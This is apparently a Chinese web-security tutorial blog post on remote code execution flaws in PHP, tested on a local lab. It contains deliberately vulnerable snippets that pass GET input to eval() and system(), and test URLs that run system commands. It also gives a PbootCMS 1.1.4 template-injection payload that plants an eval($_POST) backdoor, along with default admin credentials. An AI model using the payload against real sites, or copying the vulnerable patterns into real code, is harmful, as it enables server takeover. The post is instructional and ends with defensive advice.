【网安-Web渗透测试-漏洞系列】RCE漏洞

RCE漏洞

一、RCE概念

1、什么是RCE漏洞?

RCE(Remote Code/Command Execution)是远程代码执⾏和远程命令执⾏的漏洞。在很多Web应⽤中,开发⼈员会使⽤⼀些函数,这些函数以⼀些字符串作为输⼊,功能是将输⼊的字符串当作代码或者命令来进⾏执⾏。当⽤户可以控制这些函数的输⼊时,就产⽣了RCE漏洞。

2、危害性

RCE漏洞是⾮常严重的安全漏洞,⼀旦出现,就意味着攻击者可以获取服务器的命令执⾏权限,从⽽对服务器安全造成极⼤的影响。

二、运行环境

名称
操作系统 Windows 10
中间件 phpStudy 2018
PHP版本 5.4.45
Apache 2.4

三、远程代码执行案例

1、eval函数

(1)新建rce_1.php文件

bash 复制代码
<?php
 $code=$_GET['x'];
 eval($code);
?>

(2)访问地址

bash 复制代码
http://127.0.0.1/rce_1.php?x=phpinfo();
bash 复制代码
http://127.0.0.1/rce_1.php?x=echo 'This is an echo print output!';

2、system函数

(1)新建rce_2.php文件

bash 复制代码
<?php
 $code=$_GET['x'];
 echo system($code);
?>

(2)访问地址

bash 复制代码
http://127.0.0.1/rce_2.php?x=ipconfig
bash 复制代码
http://127.0.0.1/rce_2.php?x=dir
bash 复制代码
http://127.0.0.1/rce_2.php?x=tasklist
bash 复制代码
http://127.0.0.1/rce_2.php?x=systeminfo

四、PbootCMS-1.1.4靶场实践

1、靶场环境配置

(1)部署地址

bash 复制代码
D:\phpStudy\PHPTutorial\WWW\pboot

(2)访问地址

bash 复制代码
http://127.0.0.1/pboot

2、漏洞复现

Step1:访问地址

bash 复制代码
http://127.0.0.1/pboot/index.php/about/10.html


Step2:留言输⼊框 "内 容" 中填入如下的东西后,单击"提交"。

bash 复制代码
AboutController:{pboot:if(eval($_POST[1]))}!!!{/pboot:if}

提交成功后会显示"提交成功"

Step3:登录后台

bash 复制代码
账户:admin
密码:123456


Step4:在 "在线留言" 页面中注入恶意语句

3、分析"漏洞复现"为何能成功注入

Step1:所访问的 "在线留言" 中含有的访问地址已得知。

bash 复制代码
http://127.0.0.1/pboot/index.php/about/10.html

Step2:现查阅 "在线留言" 的源码,位置如下:

bash 复制代码
D:\phpStudy\PHPTutorial\WWW\pboot\apps\home\controller\AboutController.php

Step3:从图片看到ParserController.php中存在了一个eval函数,且AboutController.php(即"在线留言"页面)调用了ParserController.php模块。

五、RCE漏洞防御

  • 在进入执行命令函数前,需做严格的检测和过滤;
  • 命令执行函数(不能完全控制的危险函数)尽量不用,如果必须使用,则一定要加上验证,以防他人利用。
  • 必须保证用户不能轻易接触eval的参数,如果一定需要用该函数,需严格判断输入的数据是否含有危险变量。
相关推荐
Xudde.8 小时前
班级作业笔记报告0x04
笔记·学习·安全·web安全·php
eastyuxiao9 小时前
如何在不同的机器上运行多个OpenClaw实例?
人工智能·git·架构·github·php
dog25010 小时前
对数的大脑应对指数的世界
开发语言·php
取码网12 小时前
最新在线留言板系统PHP源码
开发语言·php
不写八个13 小时前
PHP教程006:ThinkPHP项目入门
开发语言·php
Freak嵌入式14 小时前
Wiznet以太网模块实现在线动态安装库和自动依赖安装-使用uPyPI包管理平台
开发语言·php
huachaiufo15 小时前
burpsuite代理链实现对google.com 访问
web安全·网络安全
祁白_15 小时前
Bugku:备份是一个好习惯
笔记·学习·web安全·ctf
芙莉莲教你写代码15 小时前
Flutter 框架跨平台鸿蒙开发 - 网络安全学习应用
学习·web安全·flutter·华为·harmonyos
OPHKVPS16 小时前
Metro4Shell攻击进行中:CVE-2025-11953高危漏洞正被用于入侵React Native开发者机器
安全·web安全